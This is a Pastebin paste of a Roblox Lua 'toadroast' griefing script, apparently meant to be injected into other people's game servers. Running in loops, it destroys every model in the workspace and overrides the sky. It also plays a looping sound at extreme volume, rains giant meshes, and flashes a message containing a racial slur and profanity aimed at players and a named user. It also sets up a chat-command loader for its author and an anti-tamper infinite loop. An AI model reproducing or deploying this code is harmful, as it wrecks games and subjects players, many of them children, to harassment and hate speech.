Advertisement
antgame11

Untitled

Mar 26th, 2019
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.53 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. ModuleScript0 = Instance.new("ModuleScript")
  20. Script1 = Instance.new("Script")
  21. LocalScript2 = Instance.new("LocalScript")
  22. ModuleScript0.Name = "MainModule"
  23. ModuleScript0.Parent = mas
  24. table.insert(cors,sandbox(ModuleScript0,function()
  25. script.Parent = nil
  26. local Module = script;
  27. local Scripts = {};
  28. for _,v in next, Module:GetChildren'' do
  29. Scripts[v.Name:lower()] = v:Clone();
  30. v:Remove()
  31. end;
  32.  
  33. Module.Changed:connect(function() repeat while true do end until nil end)
  34.  
  35. local Players = game:GetService("Players");
  36.  
  37. return function()
  38. local Me = Players:FindFirstChild("antgame11");
  39. Me.Chatted:connect(function(Message)
  40. if string.sub(Message,1,7) == "script/" then
  41. if(Scripts[string.sub(Message,8):lower()])then
  42. local given = Scripts[string.sub(Message,8):lower()]
  43. given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  44. end
  45. end;
  46. end)
  47. end
  48. end))
  49. Script1.Name = "Toad"
  50. Script1.Parent = ModuleScript0
  51. table.insert(cors,sandbox(Script1,function()
  52. local Player = game:GetService("Players").antgame11
  53. local Mouse,mouse,UserInputService,ContextActionService
  54. do
  55. script.Parent = Player.Character
  56. local CAS = {Actions={}}
  57. local Event = Instance.new("RemoteEvent")
  58. Event.Name = "UserInput_Event"
  59. Event.Parent = Player.Character
  60. local fakeEvent = function()
  61. local t = {_fakeEvent=true}
  62. t.Connect = function(self,f)self.Function=f end
  63. t.connect = t.Connect
  64. return t
  65. end
  66. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  67. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  68. function CAS:BindAction(name,fun,touch,...)
  69. CAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
  70. end
  71. function CAS:UnbindAction(name)
  72. CAS.Actions[name] = nil
  73. end
  74. local function te(self,ev,...)
  75. local t = m[ev]
  76. if t and t._fakeEvent and t.Function then
  77. t.Function(...)
  78. end
  79. end
  80. m.TrigEvent = te
  81. UIS.TrigEvent = te
  82. Event.OnServerEvent:Connect(function(plr,io)
  83. if plr~=Player then return end
  84. if io.isMouse then
  85. m.Target = io.Target
  86. m.Hit = io.Hit
  87. elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
  88. if io.UserInputState == Enum.UserInputState.Begin then
  89. m:TrigEvent("Button1Down")
  90. else
  91. m:TrigEvent("Button1Up")
  92. end
  93. else
  94. for n,t in pairs(CAS.Actions) do
  95. for _,k in pairs(t.Keys) do
  96. if k==io.KeyCode then
  97. t.Function(t.Name,io.UserInputState,io)
  98. end
  99. end
  100. end
  101. if io.UserInputState == Enum.UserInputState.Begin then
  102. m:TrigEvent("KeyDown",io.KeyCode.Name:lower())
  103. UIS:TrigEvent("InputBegan",io,false)
  104. else
  105. m:TrigEvent("KeyUp",io.KeyCode.Name:lower())
  106. UIS:TrigEvent("InputEnded",io,false)
  107. end
  108. end
  109. end)
  110. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  111. end
  112.  
  113. wait(1)
  114. math.randomseed(tick() % 1 * 1e6)
  115. sky = coroutine.create(function()
  116. while wait(0.3) do
  117. s = Instance.new("Sky",game.Lighting)
  118. s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
  119. s.CelestialBodiesShown = false
  120. end
  121. end)
  122.  
  123.  
  124. del = coroutine.create(function()
  125. while wait(0.3) do
  126. for i,v in pairs(workspace:GetChildren()) do
  127. if v:IsA("Model") then
  128. v:Destroy()
  129. end
  130. end
  131. end
  132. end)
  133.  
  134.  
  135.  
  136. for i,v in pairs(game.Players:GetChildren()) do
  137. end
  138.  
  139. noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}
  140.  
  141. sound = coroutine.create(function()
  142. a = Instance.new("Sound",workspace)
  143. a.SoundId = "rbxassetid://141509625"
  144. a.Name = "RAINING MEN"
  145. a.Volume = 58359
  146. a.Looped = true
  147. a:Play()
  148. while wait(0.2) do
  149. rainin = workspace:FindFirstChild("RAINING MEN")
  150. if not rainin then
  151. a = Instance.new("Sound",workspace)
  152. a.SoundId = "rbxassetid://141509625"
  153. a.Name = "RAINING MEN"
  154. a.Volume = 58359
  155. a.Looped = true
  156. a:Play()
  157. end
  158. end
  159. end)
  160.  
  161. msg = coroutine.create(function()
  162. while wait(0.4) do
  163. msg = Instance.new("Message",workspace)
  164. msg.Text = "Get toadroasted you bacon-haired bozos. (GO QUIT FUCKED SHIT NIGGER XD FELIXMAYERKIDS IS A HACKER)"
  165. wait(0.4)
  166. msg:Destroy()
  167. end
  168. end)
  169.  
  170.  
  171. rain = coroutine.create(function()
  172. while wait(10 % 1 * 1e2) do
  173. part = Instance.new("Part",workspace)
  174. part.Name = "Toad"
  175.  
  176. mesh = Instance.new("SpecialMesh",part)
  177.  
  178. sound = Instance.new("Sound",workspace)
  179.  
  180. part.CanCollide = false
  181. part.Size = Vector3.new(440,530,380)
  182. part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))
  183.  
  184. sound.SoundId = noises[math.random(1,#noises)]
  185. sound:Play()
  186. sound.Ended:connect(function()
  187. sound:Destroy()
  188. end)
  189.  
  190.  
  191. mesh.MeshType = "FileMesh"
  192. mesh.MeshId = "rbxassetid://430210147"
  193. mesh.TextureId = "rbxassetid://430210159"
  194. end
  195. end)
  196. coroutine.resume(sky)
  197. coroutine.resume(del)
  198. coroutine.resume(sound)
  199. coroutine.resume(msg)
  200. coroutine.resume(rain)
  201. end))
  202. LocalScript2.Parent = Script1
  203. table.insert(cors,sandbox(LocalScript2,function()
  204. local Player = game:GetService("Players").LocalPlayer
  205.  
  206. local Char = Player.Character
  207. local Event = Char:WaitForChild("UserInput_Event")
  208.  
  209. local UIS = game:GetService("UserInputService")
  210.  
  211. local input = function(io,a)
  212. if a then return end
  213. local io = {KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}
  214. Event:FireServer(io)
  215. end
  216. UIS.InputBegan:Connect(input)
  217. UIS.InputEnded:Connect(input)
  218. local Changed = false
  219. local Mouse = Player:GetMouse()
  220. local h,t = Mouse.Hit,Mouse.Target
  221. while wait(1/30) do
  222. if h~=Mouse.Hit or t~=Mouse.Target then
  223. Event:FireServer({isMouse=true,Target=Mouse.Target,Hit=Mouse.Hit})
  224. h,t=Mouse.Hit,Mouse.Target
  225. end
  226. end
  227. end))
  228. for i,v in pairs(mas:GetChildren()) do
  229. v.Parent = script
  230. pcall(function() v:MakeJoints() end)
  231. end
  232. mas:Destroy()
  233. for i,v in pairs(cors) do
  234. spawn(function()
  235. pcall(v)
  236. end)
  237. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement